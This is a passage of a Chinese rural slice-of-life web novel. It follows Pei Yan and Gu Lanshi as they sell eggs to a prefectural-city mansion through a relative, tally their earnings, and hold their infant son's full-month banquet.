“怎么样?”顾兰时自己又吃了一粒,满心喜悦。 裴厌咽下后说:“好吃。” “我也觉得,等明年,葡萄肯定结的更多,到时候管饱了吃。”顾兰时光是想一想,就被葡萄藤上一串串紫红饱满的葡萄馋到。 裴厌笑了下:“行,给你当饭吃。” “吃饭了。”周淑云端着饭菜进来,顾兰时连忙把炕桌挪好。 菜齐碗筷摆好后,裴厌看一眼怀里的儿子,只得先放回炕里。 小星星躺在那里,顾兰时解开了襁褓,他伸出小手,小脚也动了几下,像是高兴了,又咿呀两声。 饭后,顾兰时没事做,把钱袋倒空,数今天的钱。 碎银子一两三钱,余下全是铜板,拢共八百三十五文。他剪了麻线穿钱,今天卖钱的大头是鸡蛋,果然这样的金贵东西赚钱多。 周淑云洗锅碗,刘大鹅煮猪食,裴厌能歇一歇,他坐在炕沿,又把小星星抱在怀里。 数钱的事有顾兰时一手包揽,他在旁边看着就行。 星星小手挥动,抓住了他衣裳布料,小小的手指头还挺有劲,裴厌脸带笑意,低头又看一眼儿子。 星星瞳仁很亮很黑,唔呀发出稚嫩的声音。 后知后觉,裴厌想起自己脸上的疤。 因为这道痕迹,村里不少孩子见了他都会躲,只有顾满几个同他熟了之后才不怕。 小牛儿会坐在他怀里,那是被吃的吸引,小胖墩明显很喜欢吃。 至于星星,他目光一顿。 孩子出生才十天,据老人说眼睛能看见的东西少,若从小见惯了,应该,不会怕他。 裴厌听着顾兰时数钱的动静,心中暗自琢磨了一会儿,他不是自寻烦恼的性格,很快就将这件事放下,以后的事以后再说。 * 顾兰瑜在院里推土砻脱谷,今年收成不错,这两天舂了些新米,先紧着自家吃了几顿干米饭。 他在前院忙,竹哥儿和花惜霜在后院铡草喂牲口和鸡鸭。 不一会儿,听到动静,他抬头看向门口,顾铁山和苗秋莲回来了。 苗秋莲推开院门,让顾铁山牵着驴车先进来,自己跟在后头,一边走一边挽袖子,说:“鸡喂了?” 自打裴厌送鸡蛋,她和顾铁山不用往镇上跑了,裴厌自会过来拿,照着市价先把钱给她,才拉去镇上。 顾兰瑜笑道:“喂了,双儿和竹哥儿都在后头呢,牲口估计也喂了,娘,东西取了?” “那就好。”苗秋莲笑着说:“取了,你看看。” 她走到儿子跟前,从怀里掏出块红布,打开是一个银质长命锁。 顾兰瑜停下手里的活,拿起看了眼,正面刻着长命富贵,另一面则是莲花和蝠纹等吉祥花样。 这是给星星打的长命锁,过几天就满月了,得给孩子挂上。 “好着呢。”顾兰瑜笑道,又把长命锁放回他娘手里。 “那就行。”苗秋莲进屋,把东西藏好以后,脚下不停,进灶房忙去了。 没多久,又有驴车在院门口停下,顾兰瑜以为是裴厌,抬头正要喊人,不想却是花成方。 “二哥。”他连忙迎上去,接过花成方拎着的点心包和酒水,又朝灶房喊:“娘,我花二哥来了。” 苗秋莲用襜衣擦擦手,出来笑道:“成方来了,快进快进。” “婶子不用多忙,我不过闲转坐坐。”花成方笑道。 顾兰瑜朝后院喊了两声,花惜霜出来,见是她二哥,圆脸上全是笑意,忙前忙后倒茶端水。 苗秋莲从房里端了果碟瓜子等好几样东西,顾铁山也来陪坐。 竹哥儿打个照面,喊了人就进房去了,没有在外面多留。 花成方寒暄几句,便问到后山的事,他这次回来,同府里告了假,只有一天的工夫,不好多耽误。 见顾铁山面露疑惑,他笑着将上次在镇上碰到裴厌的事大致说了,没细讲。 牵扯到钱财,和裴厌之间透底没什么,毕竟要倚靠这个路子。 顾铁山明白了,就让顾兰瑜带他过去。 两人走之后,苗秋莲一琢磨,笑道:“这回好了,鸡蛋都卖到府城去了,头先还觉着费那个钱起新屋做什么,果然还是姑爷看得远。” 第210章 花成方之前来小河村,只在顾家坐坐,没来过后山,一进门看见大大小小的菜叶随风晃动如绿浪,不由感到惊讶,这地界,远比其他人家大多了。 三只大狗膘肥体壮,毛顺油亮,喂得极好,见着生人很警惕,直到主人出来,才散开到别处。 “花二哥。”裴厌笑着将人迎进门,接过点心包和酒水放在桌上。 顾兰时一听来了客,他不便出去见人,只在屋里喊了一声二哥来了。 花成方刚才在路上听顾兰瑜说了,他刚生产,不方便出来见外客,便在外面答应一声,转而和裴厌说起话。 那两百个鸡蛋因路远,还是磕碰了一些,花成方从中赚到一钱多,心中干劲十足,要不是府里之前忙,不好告假,不然早几天就回来了。 “这回卖给了主家,又同厨子吃了两回酒,打点了一番,昨儿他告诉我,府里该采买鸡蛋了,这不,今天我告了假,赶着就来了。” 裴厌问道:“二哥这回要多少?” 花成方十分得意,说:“三百,二百给厨子,余下一百我找了别的路子,照样能卖出去。” “好。”裴厌点点头,又问:“上回二哥坐船带去,鸡蛋可有磕碰?” 花成方说道:“路远,免不了,好在不多,十来个的样子,我捡着还能吃的,拿去灶上叫炒熟,让几个帮厨吃了,好处虽小,到底有些用。” 听完,裴厌思索一下,说:“那这回多带几个,路上磕碰耗损些,运过去要是能把三百整数凑齐,就再好不过。” 他算了算数目:“三筐是二百枚,再加一个大蛋筐一个小蛋筐,七十六和四十八,是一百二十四枚鸡蛋,正好,三百二十四枚,我这边就按三百个算。” 见他如此细心,花成方心里哪能不舒服,还得是自己人。 花成方喝一口茶,笑道:“上回没经验,光想着有格子,不怕磕碰,以后还是得赶慢些。” 裴厌点点头:“是得慢些,我每次拉鸡蛋去镇上,行路都慢,哪怕在路上多耽搁一会儿,都不打紧。” 花成方放下茶碗,说:“这回过来,还有一件事。” 裴厌道:“二哥尽管说。” “等会儿装了鸡蛋我就得走,我想着,这回你跟我一道去,认认路,我在府里,要是忙起来,连假也告不得,手底下的人和活都得盯紧了。” “不怕你笑话,我这大小也是个管事,比旁人更忙些,这回你记下路,我在府城有几个同村的,常常往两边码头跑,以后若府里要鸡蛋,我就托他们来递话,你把鸡蛋备好,坐船送过去。” “至于这船费车钱,也可再商议商议,都是自己人,合伙做生意,指定不叫你吃亏。” 裴厌开口:“二哥说笑了,这有什么难的,你在那边只管牵线搭路,只当你在那边卖,要多少鸡蛋我送去就是,这跟往镇上送鸡蛋没什么不一样,只是路远些而已,你那边每次都是几百鸡蛋,船钱于赚的这些,不值一提了。” 花成方点点头,确实是这个理,他想了一下,说:“这样,去一趟不容易,就照你说的,每次送个三四百,府城鸡蛋卖得那么好,就算主家要不完,放在我那儿,找找门路的事而已,就算托人散卖,照样能赚到。” 他那边自有法子,裴厌不再说什么,点头应下,说:“既如此,我这就去装鸡蛋,待会儿一同前去。” “好。”花成方跟着一齐起身,早点装好就能走。 顾兰瑜向来有眼力见,他俩的生意自己插不上话,装鸡蛋还是能帮上的。 三百二十四枚鸡蛋装好,裴厌没有耽误,跟顾兰时说一声,就套了驴车出门。 * 花成方把驴车放回花家,坐上裴厌的车,两人赶到宁水镇码头。 陈三儿的车马摊子在镇外,他俩带着五筐鸡蛋,无法把车放在那里,裴厌看见做卤煮的摊子,过去交谈了几句,就把驴车拴在了旁边空地上。 等他回来,给摊主五文钱就好,和陈三儿看车的价一样。 府城在下游三十里开外,顺水船钱是二十文,等回来,逆水行舟,船钱是三十五文。 坐上船后,没一会儿船夫喊两声就开了船。 裴厌坐过几次船,并不稀奇,蛋筐放在他和花成方脚前,如此方便看着,万一船身摇晃,还能扶一扶。 有人抱着鸡鸭坐在后面,还有带烧饼包子在啃的,书生脚前放着箱笼,无事做手里拿了本书在看。 小孩嘟嘟嘟吹泥哨,吹了一阵子后,吵的舱里人头疼,不免生出一阵抱怨,带孩子的夫郎便把泥哨夺了过去,孩子哭闹起来,挨了他阿姆一个嘴巴子立刻消停了。 顺水但没顺风,船没有行的飞快,而且中途还在两处码头停靠,又等了一会儿客,如此不免耽搁,第三次停下来的时候,花成方说一声,到地方了。 船舱里人多,一个一个出去,裴厌还没出来,就听到外面嘈杂不已,远比宁水镇码头热闹。 一下船,见他俩腿边放着大小五个竹筐,就有好几个拉车送货的招呼询问,花成方找了个熟悉的,他俩不坐车,跟着走,只把蛋筐放上去,送单程需十五文。 那汉子拉了个驴车过来,殷勤帮把竹筐放好,他帮花成方拉了好几次东西,因此知道地方,就先走在前面。 裴厌叮嘱之后,他嘿嘿笑两声,不再着急,让毛驴慢些走。 花成方边走边说:“郑宅在城另一边,再加上运货,以后你就找他,照着十五文的价,肯定不吃亏,旁人你不熟悉,要价比这高。” “嗯。”裴厌点点头。 府城的街道宽又长,两边各种店铺更多,客栈酒楼更是宽阔大气。 行人络绎不绝,挑担的背篓的,吆喝声此起彼伏,一旦路过卖吃食的摊子和馆子,各种味道飘来。 裴厌留了心,发现一条街走过,肉铺就有好几家,这边和宁水镇一样,肉卖得很好。 花成方一边走一边指着各种铺子说两句,又告诉他城里各个市集都在哪个方位。 裴厌听得认真,该记的都记了下来,问道:“二哥,这边生猪价你可知道?” 花成方说:“近来应该在十二文。” 还真的是比宁水镇高一文,镇上生猪是十一文。 “冬时和年节前,是不是也比咱们那儿高?”裴厌又问道。 花成方笑道:“那是自然,有时高两文呢,怎么,想来这边卖猪?” 裴厌没有隐瞒:“嗯,卖猪不怕颠簸,不用坐船,赶车就行。” 花成方点点头:“是有人从各个下镇赶猪收猪来卖,家里养了多少?” 裴厌大步跨过地上一片污迹,说:“十头,差不多能卖了。” “这么多。”花成方有点惊讶,笑:“你这又是鸡又是猪的,真真有魄力。” 裴厌也笑了下,说:“田少,地里刨不到,只能想别的法子,真算起来,田里活不多,还算忙得开。” 街上人多,驴车停了下来,对面的牛车和一小撮人群擦过之后,拉车汉子继续往前走。 他俩也在后面走走停停,花成方指着北边说:“猪市在那边,顺着昌隆街往北,看见个茶馆,再往前,往西边街上拐,过去就能看见了。” “好。”裴厌应道。 走路没别的事,花成方闲聊道:“家里老母猪一年下几窝?” “一窝,就一头母猪,秋天配,开春下。”裴厌又说:“刚养两年,才摸顺养母猪的事,一年一窝,稳当些。” 花成方点点头,确实,一年两窝的话,第二窝早一点,差不多在初秋下,只有两三月的草盛期,深秋以后吃的就少了,一年养两窝的,都是好手在做。 再说了,裴厌家里人少,算上长工才两个壮劳力,两窝确实太紧凑。 花成方想了一下,说:“十头这么多,留两头,到明年开春来卖,那会儿的生猪价也好,十三文是常事。” “寻常庄稼人养猪,不过喂一两头,为贴补家里,过年也好过日子也罢,多半都在年前出猪,年后大猪就少点,只有那些一年养两窝的老手在卖。” 他又补道:“这两年我在府里干活,家里的事不大管,这些不过是从别处听来的,你听听就行,到明年开春,我也帮你留意留意,若是可行,以后想卖猪了,就能过来这边。” “行,二哥我知道了。”裴厌笑着应道,这话也在理,哪里价钱高往哪里跑就行了。 说着话,郑宅到了,拉车汉子熟门熟路往后巷子走,裴厌跟上,视线四下望了望。 第211章 郑宅后巷子挺长,两边住了不少人家,离郑宅后门近的几户,多半是府中人。 花成方喊后门小厮来搬东西,又掏了十五文给车夫。 车夫牵着毛驴走得很快,脚力很好,天还早,他要去码头再拉拢几趟生意,也就这一趟运的是鸡蛋,不然要是拉别的货物,早就送到了。 “贵子,来。”花成方笑道:“这是我妹夫家兄弟,叫裴哥就成,以后他来送东西,你只管去找我。” 叫贵子的小厮年纪尚小,但一副笑嘻嘻的机灵样,上来就是一声裴哥,看着竹筐说道:“花管事又弄了些鸡蛋?” 花成方笑骂:“干你的活,去,看着他们,叫手脚稳些,别撞了,再把我屋里那三个筐子拿来。” “好嘞。”贵子满口答应,转身抱起地上最后一个竹筐,转身进门了。 “府里规矩大,不好带人进去,且等一等。”花成方说着,从怀里摸出荷包,取了大小九钱碎银。 “这是自然。”裴厌没有半分扭捏,笑着接过揣进怀里。 两人又说几句话,商量下一回的数目。 不一会儿,贵子把三个空竹筐送来,知道花成方忙,裴厌道一声,没有多待,拎起筐子就走了。 巷子里有不少孩童在玩耍,好几个男娃娃手拿木头削的小剑小刀“打仗”,女孩儿和双儿有的翻花绳,有的手里拿了彩纸翻折,半个鸡蛋壳上描了红色黄色的图案,应该是大人给做的,正在争执谁的更好看。 还有摇铃铛、玩草编蝈蝈的,一个小竹球被踢来踢去,骨碌碌滚向裴厌脚前。 竹球绑着彩绳,里面应该放了铃铛,一滚动就发出铃音。 一个跑得满头大汗的小汉子着急不已:“踢过来踢过来。” 于是裴厌用脚尖将竹球踢了过去,铃音随着滚动而响,不知是不是玩得太久,还是铃铛里进了土,声音闷闷的。 孩子个头矮,目光落在滚来滚去的竹球上,四五个都没抬头看,只知道是个大人,至于长什么模样,根本没工夫去看,不然竹球就落到别人脚下了。 得了钱,家里攒的鸡蛋没剩几个,裴厌心情很好,即便和这些小孩不认识,眼中还是泛起一抹笑意。 有小孩手里拿着彩纸做的吉祥轮,风一吹,呼啦啦就转起来,还有吃糖人的,不舍得一下子吃完,舔着吃,引得旁边小孩羡慕地流口水。 玩着玩着就有吵起来的,甚至打了起来。 小孩子之间的打架,不过我推一下你你推一下我,随即放声大哭。 天幕湛蓝空旷,巷子里吵吵嚷嚷,风拂面而来,裴厌大步跨出巷口,往码头方向去。 * 东屋。 顾兰时坐在椅子上绑竹片格子,地上有不少碎稻草,星星睡着了,他闲着没事,就让周淑云把东西拿进来,自己干干活。 鸡蛋更多了,别的地方好说,往府城送的话,每次都得放几个竹筐在花成方那边,还是多做几个。 周淑云在院里洗尿布,大人的衣裳还好,几天洗一次,孩子天天拉尿,就得天天洗。 裴厌牵着驴车进来,正在劈柴的刘大鹅上前解驴车,有他帮忙,裴厌就没管,只把车上的东西拎下来。 三个空竹筐放在屋檐下,裴厌拿着手里的东西往东屋走。 “回来了。”顾兰时说着,一抬头就看见他手里的吉祥轮和风车。 八角风车的杆子是用秫秸做的,很常见,风车则是用红绿彩纸相叠而成,随着人走动带起的微风而缓缓转动。 “八角的。”顾兰时起身,笑眯眯接过,说:“我小时候玩的是四角,多是红色,两种颜色的少。” 他说完,就对着八角风车吹一口气,风车转快了。 “在府城买的。”裴厌又把吉祥轮递过去。 吉祥轮木制的长杆子上有七八个彩色风轮,颜色更多,有红的黄的绿的蓝的,其实和风车很像,都是风一吹就转起来的东西,但风轮外面是用竹条围的圈,更像轮子,因此常常叫做风轮。 “可真亮。”顾兰时很高兴,说:“星星醒来就能看见了。” “嗯。”裴厌面带笑意,从怀里掏出碎银子:“一共九钱。” 顾兰时两手占着,原想多玩一玩,又看见银子,立即把风车和吉祥轮放在桌上。 “今天去府城,船钱来回五十五文,在码头给了卖卤煮的五文钱,让帮忙看车,花了六十文。” 裴厌摸了摸茶壶,见热着,给自己倒了一碗茶,站在桌前一口气喝干,放下茶碗又说:“从府城码头到花二哥在的郑宅,他花十五文,雇了辆驴车把鸡蛋拉过去,以后我要是坐船去,来回一趟得七十五文。” 他俩说话没有刻意压低声音,外头狗叫鸡鸭咕咕嘎嘎,还有劈柴洗衣的动静,星星听习惯了,偶尔梦呓几声,依旧闭着眼睛睡得很熟。 顾兰时一边听一边把箱子打开,从底下翻出钱袋,说:“七十五文,不算少了,拿一钱来算,今儿赚了八钱。” 这么一说,他又笑道:“去一趟就有八钱,其实还不错,又不用到处跑着叫卖。” “嗯。”裴厌又倒半碗茶,这次喝的慢,说:“坐船顺水,去府城比赶车快,虽有水浪晃动,倒也还好。” “要是花二哥那边不急的话,回头再送鸡蛋,一路是官道,遇着颠簸处慢些就行,我先试试赶驴车去,只是去的路上慢,回来就无所谓。” “坐船时我看了,没什么急浪,还是稳当的,要是赶车慢的话,还是坐船去。” “因今天有船钱这些,又是我去送,不用花二哥跑,我俩商量了,以后送多少是多少,给钱按数目来,只要路上折损不大的话。” 顾兰时把九钱碎银放进钱袋,最近生意好,卖菜卖鸡蛋攒了好几两的碎银,闻言抬头:“是得这样,你到时送去了,先打开看看,要是磕碰的不多,十来个都不打紧,要是觉得过不去,那就减一些,只要咱们有的赚就是了。” “嗯。”裴厌点头赞同,他也是这么想的,说:“虽说花二哥是为了挣钱,咱们也借他的路子,把鸡蛋卖出去,今天他提了句,冬天送鸡蛋的话,从他手里过,他最少会给十三文。” “十三文?一个?”顾兰时手一顿,颇有些惊讶。 “嗯。”裴厌笑道:“去年冬天,在镇上八文九文,八文居多,他说府城冬天很缺鸡蛋,那些个大户人家不差那几文,讲究又多,各式饭菜备浇头点缀,是少不了的。” “我没问他自己卖多少,十三文,对咱们来说是高价了,我回来的时候看见府城那么多大酒楼大饭馆,原想冬时去找找门路,想想冬天鸡蛋只那些,还是先把花二哥这边顾好。” “嗯。”顾兰时点点头,脸上不由带了几分喜悦。 裴厌喝够了,不再倒茶,说:“既然府城价钱这么高,入冬后,就不往高府去送了,镇上顾好酒楼和酒馆就成。” “今年在屋里养多少母鸡?”顾兰时把钱袋塞回箱底。 “三十只,再多估计不行。”裴厌说道。 顾兰时锁好箱子,按着去年冬末的经验嘴里算起来:“如今也算养顺手了,要是两天下一个蛋的话,一个月差不多有四百、四百五十枚。” “不说多的,一个月应该有四百枚鸡蛋,给镇上馆子留一百多顶多二百,我估计都要不完,按一百二预留,就能往府城送二百八十个。” “十三文一个的话……二百是二两六钱……” 他眼睛不由自主往上瞥,刚算出来,裴厌就开了口:“差不多三两六钱。” 五十个鸡蛋六百五十文,三十个三百九十文,顾兰时还是坚持掰着手指自己算完,说:“前面九百文,后面一百四十文,拢共一两四十文,不算四十文的话,正好三两六钱。” 他分开算小数目算的清一点,虽然慢一点,但心里明白,不会自己先糊涂。 “再加上送去镇上的,一个月少说四两银子。”顾兰时抬眸,眼睛闪着光。 裴厌笑了下:“嗯,四两是稳的,应该还要多一点。” “船钱都不算什么了。”顾兰时满足叹息一声。 去年天冷之后卖鸡蛋,最开始烧炕喂养不熟悉,一个月赚一两的时候都高兴得不行,今年一个月要是有四两的进账,三个月就有十二两,别说伺候母鸡,让他把母鸡供起来都行。 两人乐了一会儿,顾兰时揉揉脸,不行不行,钱还没到手呢,就这么得意忘形,等冬天卖了钱后再高兴。 “明天我去镇上卖酒和肉,还要什么?”裴厌在他刚才坐的椅子坐下,顺手把竹片格子拿起来缠线。 顾兰时想了一下,说:“肉、鱼,鸡鸭各买一只,山楂糕颜色亮,买上一大包,要足够摆碟的,梅花酥样子好,也买上一大包,还有蜜饯果脯,你看着买两样。” “熟羊肉呢?”裴厌问道。 “行,买上一块。”顾兰时顿一下,说:“酒水记得买好的,再买两坛梅子酒,这个偏甜口,娘和姐姐嫂嫂都能喝。” “嗯。”裴厌记下。 “别的好像没了。”顾兰时在他旁边坐下,又道:“骨头记得买几根,席上能做汤,顺便喂大黑它们吃点带肉的,也叫它几个沾沾光。” 裴厌笑着点头:“好。” 他俩所说,正是三天后孩子满月酒的事。 真是盼星星一样,星星总算来了,满月酒自然不能马虎,他们家人少,算上小的才三口,又没别的亲戚,只有岳家人来。 虽不如那些大户人家办酒宴豪气,也能买些酒肉回来,让自己人吃好喝好。 第212章 十月初六,天不是很好,昨天下了雨,一大清早,顾兰时醒来,感受到秋凉之后,颇有些担心行路的事。 裴厌给他端了盥洗的热水进来,说:“雨停了,就是路泥泞,秋意也爬了上来,外头冷,你早上还是别出去。” 都说一场秋雨一场寒,不知不觉,树叶没有那么绿了,一场雨下过,仿佛一夜之间褪了些许颜色。 顾兰时先漱漱口,吐掉以后说:“路不好走,爹娘和哥哥他们离得近,大姐姐和二姐姐要是来不了也没什么,一路踩着烂泥来,鞋子裤子都要被弄脏。” “嗯。”裴厌点头,给他拿了装青盐的小罐过来。 前几天去镇上买酒肉,他顺便买了洁齿的青盐,还有一小盒澡豆子,比野澡珠香,顾兰时兴冲冲的,说等出了大月子,一定要洗个大澡,试试澡豆子。 星星醒了,睁开眼后听到声音,扭头去看,他没有出声,直到发现没人来抱他,哇一声就哭了。 “我来。”裴厌笑道,他已经在外面洗过了。 顾兰时嘴巴里含着水,点点头没有管。 裴厌抱起儿子,拍着哄了一阵,星星渐渐止住了哭泣。 在灶房忙的周淑云听到孩子哭声以后,赶忙洗了个乳果扎开,过来见门半开,她笑着进来,说:“天凉,我把白汁子倒进小碗,已经煨着了,稍等等就端来。” “好。”顾兰时应一声,擦了脸把布巾搭在木架上。 周淑云没走,说:“刘大鹅正在剁鸡块子,等下我就去炖上,肉是切成肉片子?” “人就是少,也得分两桌,五花肉片子切两碗,到时用辣子炒了,周姐姐,再把那条腊肉切一些,和笋片炒。” “菜无论荤素,都要够两碗的量,尽量多些,剩下都不怕。”顾兰时边思索边说,又和她商量几句,席上该做的菜便敲定了。 想起热水里放着的乳果汁子碗,周淑云几乎小跑着赶去灶房拿,端起已经热了,顺便给顾兰时拿了两个热腾腾的大包子。 裴厌抱着孩子坐在炕边,见星星扭动身子,他帮着找好舒坦的姿势,顾兰时站在一旁,用小木勺舀了一小勺白汁子,吹两下喂过去。 前天就有点冷,乳果切开后热了才给星星吃,星星一开始还不习惯木勺,到今天已经很会吃了,小嘴巴张开,喂进去后咕噜一下就咽下去,嘴巴又张开要吃。 见儿子吃的这么起劲,裴厌眉眼含笑。 “星星真厉害。”顾兰时一边喂一边笑眯眯夸。 孩子吃饱之后,裴厌出去忙了,顾兰时吃完包子,抱着儿子在屋里玩耍,给他转风车和吉祥轮。 星星已经能注意到亮丽的颜色,大眼睛盯着被吹转的风车看。 灶房门口,裴厌转着看了一眼,周淑云已经把鸡块倒进锅里,手上忙不开,就让刘大鹅给她抱了一抱柴火来。 鸭块昨天已经蒸好,今天上锅热一热就行。 昨天裴厌和刘大鹅已经把杀鸡宰鸭这些见血的活干了,省得让客人看见一地毛和血。 今年新养起来的十一只公鸡吃得差不多了,还余一只健壮的公鸡,这只公鸡认人不乱啄,红冠彩羽,站在鸡窝上面打鸣的时候,一副威风凛凛的模样,倒叫顾兰时和裴厌舍不得杀了,时不时还会把它放出来,让在菜地和前院小菜地里溜达捉虫。 夏天那会儿各种虫物多,好在种菜前裴厌弄了些药草磨粉,撒进土里,没有害虫灾,蛐蛐蚂蚱也有,他俩隔几天就会放二三十只母鸡和公鸡一起刨土捉虫。 大黑很聪明,不会让鸡啄菜叶子吃,母鸡放的多以后,它赶着灰灰和灰仔一起看管,就算依旧有菜叶被啄,也没有太大损失。 灶上的事有周淑云,裴厌不再管,到后院铡草喂猪和驴去了。 * 顾兰玉和顾兰秀一同进门,顾兰时惊喜万分,原想着两个姐姐该不来了,路上那么难走。 苗秋莲离得近,半上午就先领着竹哥儿和花惜霜,等张春花和李月来了后,让她俩去灶上帮帮忙,毕竟是外孙的满月酒,就算雇了人在做饭,那么多菜呢,不能马虎了。 星星已经穿上新衣裳,顾兰玉和顾兰秀一进门,就把做好的虎头帽虎头鞋给小外甥换上。 因星星没睡,小胳膊小腿扑腾不停,一看就有劲,大眼睛黑亮漂亮,比刚生下来时胖了也白了,不再红扑扑皱巴,十分惹人喜爱。 顾兰时把他抱在怀里,不断有人接过去抱一会儿。 星星今天很给面子,谁抱都没哭,睁着大眼睛到处乱看,时而用小手把虎头帽抓歪,嘴里咿呀咿呀,不知在说什么。 家里一下子热闹起来,方红花进门时,看见曾外孙,乐得直夸模样俊。 竹哥儿可稀罕小星星了,一直听的乳名都是什么狗儿驴儿的,星星这个名儿一出来,简直像朵花一样,分外好听。 只是大人要抱,他插不上手,遗憾在旁边看着。 星星有和顾兰时相似的地方,但更多还是像裴厌,尽管才一个月大,已经能看出漂亮的眉眼。 他忽然想起几年前,顾兰瑜告诉他的那些闲话,说裴厌小时候其实长得可好看了,满村都找不到他那么俊秀的小汉子。 顾兰时和裴厌成了亲,他也曾疑惑过,长得那么凶,哪里能看出小时候的模样,再说了,没事盯着哥夫像什么样子,因此不大留心,见惯了之后,也不觉得裴厌凶恶了。 谁知眼下越看星星,越叫他觉得那些闲话是真的,这小模样,长得那么像裴厌,或许裴厌小时候就是这样的。 竹哥儿自己坐在那里吃蜜饯干果子,一边暗自琢磨,末了赞同似的点点头,只觉自己想的很有道理。 “想什么呢?”顾兰秀一戳他脑门,只觉好笑,幺弟从小就这样,她总觉得呆头呆脑的,小脑瓜里头不知道都装了些什么。 竹哥儿哪能说自己在想这些,笑着糊弄过去。 “真是,怎么就会傻笑。”顾兰秀说完,就看见她娘瞪了她一眼,于是笑着摸摸竹哥儿脑袋不再说他傻了。 都是自己人,吃饭喝酒都没瞎客气。 昨天下雨,裴厌没让刘大鹅回去,今天跟着一起吃酒。汉子在堂屋摆了一桌,顾兰时和其他人都在屋里。 苗秋莲给外孙挂上长命锁,说了几句吉祥话,有了这长命锁,他们星星就能平平安安长大。 人多,外头还有划拳声,星星睁着眼睛到处乱瞅,瞧着有点懵。 客来时高高兴兴,走时酒足饭饱,即便路难走,也不妨碍好心情。 裴厌送完客后,见刘大鹅还在,菜肉都有剩的,就让他拣几样送回家,尤其有肉的,至于没剩几筷子的,就不要带了,太寒碜。 刘大鹅今天跟着喝酒吃肉,本就很满足,一听还能给家里拿些,心中又腾起千恩万谢。 周淑云便拿碗给他折了几样菜,让用竹篮提回去了。 “周姐姐,拣没打动过的吃,锅里不是还有鸡汤,趁热舀一碗,暖暖。”裴厌又嘱咐周淑云两句,让她也挑好的去吃。 顾兰时没沾酒,梅子酒也没喝,见裴厌进来,眼睫微垂,抬眼蒙了一会儿才定定瞧着他,他就知道是喝多了。 “擦擦。”他拧了热毛巾递过去。 裴厌没说话,坐在炕沿擦脸擦手,腰背微弯,不再直挺,渐渐的,放松下来之后,他眼神越发迷蒙,带着说不清道不明的慵懒微醺。 “漱漱口。”顾兰时又给他递半碗热茶。 裴厌依旧照做。 顾兰时笑着说:“行了,脱鞋,上炕躺着,睡去吧。” 裴厌依言,像是刚才还撑着的醉意一下子涌上来,躺下后就闭眼睡了,不声不响,不吵不闹。 见他连衣裳都没脱,顾兰时只得上前,又喊他起来,帮忙脱掉外裳,又给盖好被子。 转身想把门窗关好,省得冷风从缝里钻进来,不想手被拉住。 “你不是醉了?”顾兰时笑眯眯问道,他有点好奇,不知道裴厌会说什么。 “嗯,是醉了。”裴厌没有他想的那么醉醺醺,甚至声音听上去很清醒。 “那你不睡觉做什么?”顾兰时又问,眼中笑意不减。 裴厌看着他,说:“一个人睡不着。” 他盯着顾兰时,顾兰时看着他,最后笑一下,说:“外头风大,我去关门窗。” 裴厌这才松手。 门窗闩好后,顾兰时也脱了鞋和衣裳,钻进熟悉的怀抱。 尽管没喝酒,听着男人轻而绵长的呼吸,叫人安心的怀抱几乎像火炉,热而温暖,睡意渐渐涌上。 第213章 过了十几天,顾兰时总算能出来走动,只是天渐渐冷了,晌午太阳再热,一早一晚都凉,尤其在这山脚下。 他额前到后脑绑了一条浅碧的抹额,颜色不张扬却也不沉闷,收了边绣了几针花样,不算很精致,用来护住额前不受风正好。 院里,裴厌和刘大鹅正在装车,六筐鸡蛋正好四百个。 昨天去镇上卖了二百多鸡蛋,下午有个花家村的汉子在村里问了方向,过来替花成方递了话,说让今天送鸡蛋过去。 想着府城远,这不一大早就拾掇了。 顾兰时送他出门,叮嘱道:“路上慢些,别赶太急,要是渴了饿了,碰见茶棚就进去歇歇。” 从宁水镇往府城去的路上,会经过两个沿路搭建的茶棚,毕竟路远。 “嗯,我知道。”裴厌应一声,边走边说:“我回来不知什么时候,若是晌午还没到,你们先吃,不用等,我估摸就在路上吃了。” “好。”顾兰时点点头,他给裴厌的荷包里装了二钱碎银还有六十文铜钱,足够对付路上的吃喝。 一出院门,裴厌说道:“行了,外头冷,回屋去,等太阳大了再出来。” “那你自己留心。”顾兰时依言不再往外走,确实冷呢,还有白色薄雾未散,等会儿星星醒了要抱起来喂乳果,雾气露水打在身上,容易凉到孩子。 * 即便官道,也有下雨过后碾出来的许多车辙印,并非一路都平缓。遇到颠簸处,裴厌就下去牵着毛驴走,慢是慢了些,胜在稳妥。 秋意浓了,风一吹冻得慌,不少行人都缩着脖子。 这两天该把母鸡挪进屋里烧炕了,前几天他就发现鸡蛋没有前段时日那么多,一天下来只有五六十枚了。 只是新屋周淑云住着,她还得待大半个月。 毛驴很乖,随着裴厌的脚步慢下来,尽管如此,地面的起伏依然让板车有颠簸。 裴厌边走边想,如今天黑得早,刘大鹅吃完饭还要喂猪喂鸡,最近没怎么回刘家村,周淑云不能挪到西屋去,这样的话,只能让她和顾兰时住几天,至于自己,就到西屋去睡。 土炕再怎么,睡两个人绰绰有余。如此,新屋就能腾出来。 这几天镇上的蛋价已经涨到四文钱,天一冷,价钱说涨就涨了。 府城要是五文,卖给花成方的话,实际他赚的还是四文一个。 半个月攒下来,家里鸡蛋多,多个路子把东西清完,不必到处吆喝,总之不会亏就是了。 路重新变得平坦,想了想,裴厌没有坐上车挥鞭子,继续牵着毛驴慢慢走,行军打仗时走的路比这更快更多,因此行路对他来说没什么难的。 * 府城。 太阳爬高,驱散了清晨的寒意,甚至晒得不少行人和做苦力的汗流浃背。 这回没走码头那边的路,一进城门,裴厌思索一下,按着上次的记忆往郑宅方向走。 他记性好,方向也强,以前来过几次府城,因此心里头有眉目。 走着走着,就到了上回和花成方路过的街道,离郑宅近了,他沿着街道慢悠悠往前,不慌不忙,时而看看街边卖的各种东西。 星星太小,糖人糖葫芦什么的吃不了,点彩绘画的面人倒是能拿在手里玩,就是不知道喜不喜欢。 看到卖风车和吉祥轮的,他想起家里的那两个,实际是顾兰时在玩,眼中浮起一抹笑意。 进了巷子后,见后门有人,裴厌上前问话。 贵子不在,但有一个小厮上回搬过竹筐,因此认得他,很快就喊来花成方。 寒暄着抱下蛋筐后,裴厌没有让小厮立即搬进去,打开瞧了瞧,最上面的都还好,他又挪开一层,看了看底下的。 尽管托底和四周都有稻草,今天出门的时候,想着路远,又放了细麸皮,只是一个格子就那么大,还得塞鸡蛋进去,细麸子无法充满,只是填填缝隙。 知道他心细,不过外头人多眼杂,花成方瞅一眼,见上面两层不过零星几个磕破的,想必底下也不会损耗太多,就让小厮抱进去了。 裴厌把花成方拿出来的五个空竹筐放到板车上,随后一起走到人少的墙根下。 “这是二两,你收着。”花成方掏出荷包,给了两锭银子。 “好。”裴厌笑着接过,这是按五文算的。 